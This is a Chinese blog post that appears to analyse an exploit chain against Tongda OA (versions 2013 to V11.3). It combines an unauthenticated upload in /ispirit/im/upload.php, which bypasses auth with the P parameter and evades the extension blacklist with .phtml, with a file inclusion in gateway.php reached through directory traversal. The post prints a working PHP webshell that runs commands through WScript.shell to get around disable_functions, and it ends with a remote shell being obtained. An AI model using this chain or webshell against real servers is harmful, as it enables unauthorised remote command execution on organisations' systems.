通达oa wbupload.php,通达OA未授权文件上传&任意文件包含导致RCE分析

逃离我推掉我的手 2022-11-18 05:49 534阅读 0赞

影响范围V11.3版

2017版

2016版

2015版

2013版

2013增强版

漏洞简介

通过未授权访问进入上传点上传图片马，使用任意文件包含getshell

漏洞分析

未授权访问文件上传

漏洞点位于/ispirit/im/upload.php，首先看到如下代码$P = $\_POST\["P"\];

if (isset($P) || ($P != "")) \{

ob\_start();

include\_once "inc/session.php";

session\_id($P);

session\_start();

session\_write\_close();

else \{

include\_once "./auth.php";

auth.php是进行身份认证相关的，如果我们POST传入了一个P那么就会实现绕过，但是由于还有后续验证所以并没有完全绕过

![99cb9f185dd9c8c58672417fbe2dfd40.png][]

接着我们继续看代码如下$DEST\_UID = $\_POST\["DEST\_UID"\];

$dataBack = array();

if (($DEST\_UID != "") && !td\_verify\_ids($ids)) \{

$dataBack = array("status" => 0, "content" => "-ERR " . \_("接收方ID无效"));

echo json\_encode(data2utf8($dataBack));

exit();

if (strpos($DEST\_UID, ",") !== false) \{

else \{

$DEST\_UID = intval($DEST\_UID);

if ($DEST\_UID == 0) \{

if ($UPLOAD\_MODE != 2) \{

$dataBack = array("status" => 0, "content" => "-ERR " . \_("接收方ID无效"));

echo json\_encode(data2utf8($dataBack));

exit();

这里还有如下代码if ($DEST\_UID == 0) \{

if ($UPLOAD\_MODE != 2) \{

$dataBack = array("status" => 0, "content" => "-ERR " . \_("接收方ID无效"));

echo json\_encode(data2utf8($dataBack));

exit();

如果传入DEST\_UID为0，那么UPLOAD\_MODE就必须为2(这样也是可以的)

我们这里传入DEST\_UID不为空也不为0，走到了如下代码$MODULE = "im";

if (1 <= count($\_FILES)) \{

if ($UPLOAD\_MODE == "1") \{

if (strlen(urldecode($\_FILES\["ATTACHMENT"\]\["name"\])) != strlen($\_FILES\["ATTACHMENT"\]\["name"\])) \{

$\_FILES\["ATTACHMENT"\]\["name"\] = urldecode($\_FILES\["ATTACHMENT"\]\["name"\]);

$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

可以看到上传的参数名为ATTACHMENT，将文件名进行了一次URL解码，使用upload()函数上传，跟进inc/utility\_file.php:upload，直接看到关键代码部分if (!is\_uploadable($ATTACH\_NAME)) \{

$ERROR\_DESC = sprintf(\_("禁止上传后缀名为\[%s\]的文件"), substr($ATTACH\_NAME, strrpos($ATTACH\_NAME, ".") + 1));

跟进is\_uploadable()函数，也直接贴关键代码部分function is\_uploadable($FILE\_NAME)

$POS = strrpos($FILE\_NAME, ".");

if ($POS === false) \{

$EXT\_NAME = $FILE\_NAME;

else \{

if (strtolower(substr($FILE\_NAME, $POS + 1, 3)) == "php") \{

return false;

这里黑名单限制了后缀不能为php，可以使用.phtml、.cpt等，windows下可以上传.php.绕过，也不影响我们上传图片马，为后面任意文件包含做铺垫

漏洞复现

没有上传点我们就构造一个上传点

成功上传图片马

![a39461806efc8dc2ac0088d9c1b6a06a.png][]

既然知道了可以上传，那么上传路径也要知道，其实不用继续代码审计也能轻易得到，比如搜索后缀，文件监控等

上传路径位于attach/im/2010

![0697c964a8e3123084b1b40900d24a81.png][]

任意文件包含

漏洞触发点位于ispirit/interface/gateway.phpif ($json) \{

$json = stripcslashes($json);

$json = (array) json\_decode($json);

foreach ($json as $key => $val ) \{

if ($key == "data") \{

$val = (array) $val;

foreach ($val as $keys => $value ) \{

$keys = $value;

if ($key == "url") \{

$url = $val;

if ($url != "") \{

if (substr($url, 0, 1) == "/") \{

$url = substr($url, 1);

if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) \{

include\_once $url;

exit();

这里好奇为什么可以直接传入json的值，$json是凭空出现的，可能是注册了全局变量吧

这里很简单，传入json让键为url，值里面包含general、ispirit、module三者之一就行，然后通过目录跳转就实现了任意文件包含，包含我们之前上传的图片马

![2d74fcd0db7042735c6336a1e47a09fd.png][]

但是发现无法执行命令，因为通达OA有disable\_function，于是找了一个能过disable\_function的webshell<?php

$command=$\_GET\['cmd'\];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

重新上传，经过无数次测试，我发现我的图片马还是不能执行命令，可能是哪里解析出错了，为了干净一点我上传了phtml后缀的文件，内容就是上面的webshell，包含一下成功getshell

![e231e6670b4baa776983e0c7853f9e29.png][]

一键getshell

[99cb9f185dd9c8c58672417fbe2dfd40.png]: /images/20221022/709a318fa2de4382ad97616ddb8b1bb1.png
[a39461806efc8dc2ac0088d9c1b6a06a.png]: /images/20221022/a12eaac8d5264f818701170c2c55b9da.png
[0697c964a8e3123084b1b40900d24a81.png]: /images/20221022/a01f362880ce4ee1b40a300dd204708e.png
[2d74fcd0db7042735c6336a1e47a09fd.png]: /images/20221022/b1a79cd352704502ae5bbccb049efb69.png
[e231e6670b4baa776983e0c7853f9e29.png]: /images/20221022/2bbde6ab19c24239bb571a8f07a91f63.png